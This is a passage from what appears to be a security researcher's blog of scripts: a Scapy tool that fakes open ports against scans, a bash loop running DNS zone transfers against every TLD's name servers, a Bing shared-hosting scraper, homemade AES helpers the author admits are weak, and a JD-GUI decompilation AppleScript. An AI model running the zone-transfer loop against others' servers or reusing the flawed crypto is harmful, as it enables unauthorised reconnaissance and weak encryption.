            return random.randint(1,4294967295)
        
    def handleEachSyn(synpacket):
        if DEBUG_ON:
            debug("IN:")
            synpacket.display()
        ethlen = len(Ether())
        iplen = len(IP())
        synpacket_raw = str(synpacket)
        i = IP(synpacket_raw[ethlen:])
        t = TCP(synpacket_raw[ethlen + iplen:])
        f = IP(src=i.dst, dst=i.src)/TCP(sport=t.dport, dport=t.sport, ack=t.seq+1, seq=getSeqNumber())
        if DEBUG_ON:
            debug("OUT:")
            f.display()
        send(f)
        
    try:
        #Setup
        info("Executing now:", start_iptables_command)
        executeInShell(start_iptables_command)
        info("Done!")
        #Work
        not_port_filter = " and not port "+" and not port ".join(exclude_ports)
        filter_string = 'tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) = 0 and dst '+my_ip+not_port_filter
        info("Using filter ", filter_string)
        info("Waiting for your scans on tcp ports 1-65535, except "+", ".join(exclude_ports)+", where already a real service should be waiting")
        info("Start your scan with: sudo nmap -PN -sS -p 1-65535 "+my_ip)
        sniff(filter=filter_string, iface=my_interface, prn=handleEachSyn)
    except KeyboardInterrupt:
        #Restoring
        info()
        info("You pressed Ctrl+C... please wait, restoring IPTABLES")
        info("Executing now:", end_iptables_command)
        for i in range(3):
            executeInShell(end_iptables_command)
        info("This is how the IPTABLES looks, after finishing ACK-ALL-HAPPY-SCAPY:")
        executeInShell("iptables -L")

def executeInShell(command):
    import subprocess
    process = subprocess.Popen(command, shell=True)
    process.wait()

def sleep(seconds):
    import time
    time.sleep(seconds)

def info(*text):
    print "[PY-INFO] "+str(" ".join(str(i) for i in text))

def debug(*text):
    if DEBUG_ON:
        print "[PY-DEBUG] "+str(" ".join(str(i) for i in text))

main()

Today it shouldn’t be a big problem to start this script on your server, even when you can’t use your corporate network internet access. Just use your mobile phone to connect to the server and start the script.

Btw, Scapy is one of the most amazing Python libraries I’ve ever seen. Extremely powerful.

DNS zone transfer

Today I thought it would be cool to have a list of all domains that exist in Switzerland. As it turns out, the swiss registrar (Switch) has configured their nameservers correctly, so you can not do a DNS zone transfer 🙁 . But I found out that a lot of other TLDs allow to make zone transfers. I don’t know if its on purpose, but I don’t think so, because not all of their DNS root servers allow to do the transfer… Try it yourself (bash script):

tlds="AC AD AE AERO AF AG AI AL AM AN AO AQ AR ARPA AS ASIA AT AU AW AX AZ BA BB BD BE BF BG BH BI BIZ BJ BM BN BO BR BS BT BV BW BY BZ CA CAT CC CD CF CG CH CI CK CL CM CN CO COM COOP CR CU CV CX CY CZ DE DJ DK DM DO DZ EC EDU EE EG ER ES ET EU FI FJ FK FM FO FR GA GB GD GE GF GG GH GI GL GM GN GOV GP GQ GR GS GT GU GW GY HK HM HN HR HT HU ID IE IL IM IN INFO INT IO IQ IR IS IT JE JM JO JOBS JP KE KG KH KI KM KN KP KR KW KY KZ LA LB LC LI LK LR LS LT LU LV LY MA MC MD ME MG MH MIL MK ML MM MN MO MOBI MP MQ MR MS MT MU MUSEUM MV MW MX MY MZ NA NAME NC NE NET NF NG NI NL NO NP NR NU NZ OM ORG PA PE PF PG PH PK PL PM PN PR PRO PS PT PW PY QA RE RO RS RU RW SA SB SC SD SE SG SH SI SJ SK SL SM SN SO SR ST SU SV SY SZ TC TD TEL TF TG TH TJ TK TL TM TN TO TP TR TRAVEL TT TV TW TZ UA UG UK US UY UZ VA VC VE VG VI VN VU WF WS XN XXX YE YT ZA ZM ZW"
    
for tld in $tlds
do
   echo "Doing TLD $tld"
   for f in `dig ns $tld. | grep "NS" | cut -f 7 | grep "$tld." | grep -v "ANSWER"`
   do
       echo "$tld : $f"
       dig axfr $tld @$f >> output.txt
   done
done

For me it worked for the following TLDs: an, bi, ci, cr, er, et, ga, ge, gy, jm, km, mc, mm, mo, mw, ni, np, pg, pro, sk, sv, tt, uk, uy, ye, zw. Might change in the future. For me the winner is… Slovakia (sk)! Never seen so many DNS entries in one file 😀

Update: I just uploaded my results here. When I talked to Max he decided to put his treasures (.DE for example!) up as well, you’ll find his domains here.

Detect shared hosting with Bing

Bing has a pretty cool IP advanced search operator. It can be used to detect shared hosting. It is quite annoying to type in each IP manually when you have to check several IPs (e.g. corporate IP network). The following script will scan an entire range of IPs. The examples below (Google IPs 74.125.39.103 to 74.125.39.106) give some pretty interesting results…

def printBingSharedHosting(ip_start, ip_end):
    import urllib2
    import re
    
    bing_url = 'http://www.bing.com/search?q=ip%3A'
    no_results_string = "No results"
    
    def bing_shared_hosting_get_matches(response):
        regex = '<h3><a\shref="(.*?)"\sonmousedown="'
        mo = re.finditer(regex, response)
        urls = []
        for i in mo:
            urls.extend(i.groups())
        return urls
    
    def bing_shared_hosting_query_bing(ip_str):
        body = urllib2.urlopen(bing_url+ip_str).read()
        if not no_results_string in body:
            for i in bing_shared_hosting_get_matches(body):
                result(ip_str+" : "+i)
        else:
            error("Bing page did not show '"+no_results_string+"' for ip: "+ip_str)

    info("Starting bing shared hosting search. I'm not printing anything until i find something")
    info("This method is only searching through the first result page of bing!")    
    for ip in getIpRangeList(ip_start, ip_end):
        bing_shared_hosting_query_bing(ip)


def getIpRangeList(ip_start, ip_end):

    result_list = []

    one, two, three, four = ip_start.split('.')
    one, two, three, four = (int(one), int(two), int(three), int(four))
    end_one, end_two, end_three, end_four = ip_end.split('.')
    end_one, end_two, end_three, end_four = (int(end_one), int(end_two), int(end_three), int(end_four))

    while one <= end_one:
        end_two_tmp = end_two
        if not one == end_one:
            end_two_tmp = 255
        while two <= end_two_tmp:
            end_three_tmp = end_three
            if not two == end_two:
                end_three_tmp = 255
            while three <= end_three_tmp:
                end_four_tmp = end_four
                if not three == end_three:
                    end_four_tmp = 255
                while four <= end_four_tmp:
                    result_list.append("%i.%i.%i.%i"%(one, two, three, four))
                    #debug(str(one)+" "+str(two)+" "+str(three)+" "+str(four))
                    four += 1
                four = 0
                three += 1
            three = 0
            two += 1
        two = 0
        one += 1
    
    return result_list

   
def error(*text):
    print "[PY-ERROR] "+str(" ".join(str(i) for i in text))
    if SLEEP_TIME_ON_ERROR > 0:
        sleep(SLEEP_TIME_ON_ERROR)

def result(*text):
    print "[PY-RESULT] "+str(" ".join(str(i) for i in text))

def info(*text):
    print "[PY-INFO] "+str(" ".join(str(i) for i in text))

def debug(*text):
    print "[PY-DEBUG] "+str(" ".join(str(i) for i in text))

printBingSharedHosting("74.125.39.103", "74.125.39.106")

I admit, the getIpRangeList function could be a little bit more elegant, but I didn’t want to use an external library, didn’t find any suitable code snippet and in the end, it does its job.

AES encryption/decryption in python

Sometimes I just need some encryption, so I wrote a script that fits some cases. The functions use the python Crypto library.

The security of the used encryption is ok, I wrote a PBKDF2-like Key Derivation Function, that hashes the password before truncating and using it as the AES key. The encryption function does not add random padding. This means an attacker can guess how long the plaintext was. Additionally, CBC is a non-authenticated mode, therefore if somebody flips a bit in your ciphertext the decryption routine won’t notice. This usually means an attacker can flip one bit, but the remaining blocks will be corrupted. So flipping a bit in the last block is easy. Moreover 13’370 derivation rounds might be too much or not enough for you.

def AESencrypt(password, plaintext, base64=False):
    import hashlib, os
    from Crypto.Cipher import AES
    SALT_LENGTH = 32
    DERIVATION_ROUNDS=13370
    BLOCK_SIZE = 16
    KEY_SIZE = 32
    MODE = AES.MODE_CBC
    
    salt = os.urandom(SALT_LENGTH)
    iv = os.urandom(BLOCK_SIZE)
    
    paddingLength = 16 - (len(plaintext) % 16)
    paddedPlaintext = plaintext+chr(paddingLength)*paddingLength
    derivedKey = password
    for i in range(0,DERIVATION_ROUNDS):
        derivedKey = hashlib.sha256(derivedKey+salt).digest()
    derivedKey = derivedKey[:KEY_SIZE]
    cipherSpec = AES.new(derivedKey, MODE, iv)
    ciphertext = cipherSpec.encrypt(paddedPlaintext)
    ciphertext = ciphertext + iv + salt
    if base64:
        import base64
        return base64.b64encode(ciphertext)
    else:
        return ciphertext.encode("hex")

def AESdecrypt(password, ciphertext, base64=False):
    import hashlib
    from Crypto.Cipher import AES
    SALT_LENGTH = 32
    DERIVATION_ROUNDS=13370
    BLOCK_SIZE = 16
    KEY_SIZE = 32
    MODE = AES.MODE_CBC
    
    if base64:
        import base64
        decodedCiphertext = base64.b64decode(ciphertext)
    else:
        decodedCiphertext = ciphertext.decode("hex")
    startIv = len(decodedCiphertext)-BLOCK_SIZE-SALT_LENGTH
    startSalt = len(decodedCiphertext)-SALT_LENGTH
    data, iv, salt = decodedCiphertext[:startIv], decodedCiphertext[startIv:startSalt], decodedCiphertext[startSalt:]
    derivedKey = password
    for i in range(0, DERIVATION_ROUNDS):
        derivedKey = hashlib.sha256(derivedKey+salt).digest()
    derivedKey = derivedKey[:KEY_SIZE]
    cipherSpec = AES.new(derivedKey, MODE, iv)
    plaintextWithPadding = cipherSpec.decrypt(data)
    paddingLength = ord(plaintextWithPadding[-1])
    plaintext = plaintextWithPadding[:-paddingLength]
    return plaintext
    
a = AESencrypt("password", "ABC")
print AESdecrypt("password", a)

Automating JD-GUI decompilation on a Mac with AppleScript

I know the guys over at Java Decompiler don’t want to release a command line tool, because they fear that companies will use their code in commercial product. See the discussion here. I found a solution to my problem, so that I can still automate the decompilation process. During my Android research I really need to decompile a lot of jar files, therefore I wrote a simple AppleScript that saves me the sources to my /opt folder.

tell application "JD-GUI"
	activate
end tell

tell application "System Events"
	keystroke "s" using {command down, option down}
end tell
tell application "System Events"
	keystroke tab
	keystroke tab
	keystroke tab
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 125 #Down
	key code 36 #Enter
	delay 1
	key code 36 #Enter
	delay 2
end tell

repeat while appIsRunning("JD-GUI")
	tell application "System Events"
		keystroke "q" using {command down} #Close JD-GUI
	end tell
	delay 2
end repeat

on appIsRunning(appName)
	tell application "System Events" to (name of processes) contains appName
end appIsRunning

After saving the script as decompile_jar.applescript with the AppleScript Editor, you can invoke it from your bash script like this:

/Applications/JD-GUI.app/Contents/MacOS/jd-gui example.jar &
sleep 1
osascript decompile_jar.applescript
mv /opt/example.src.zip /your/destination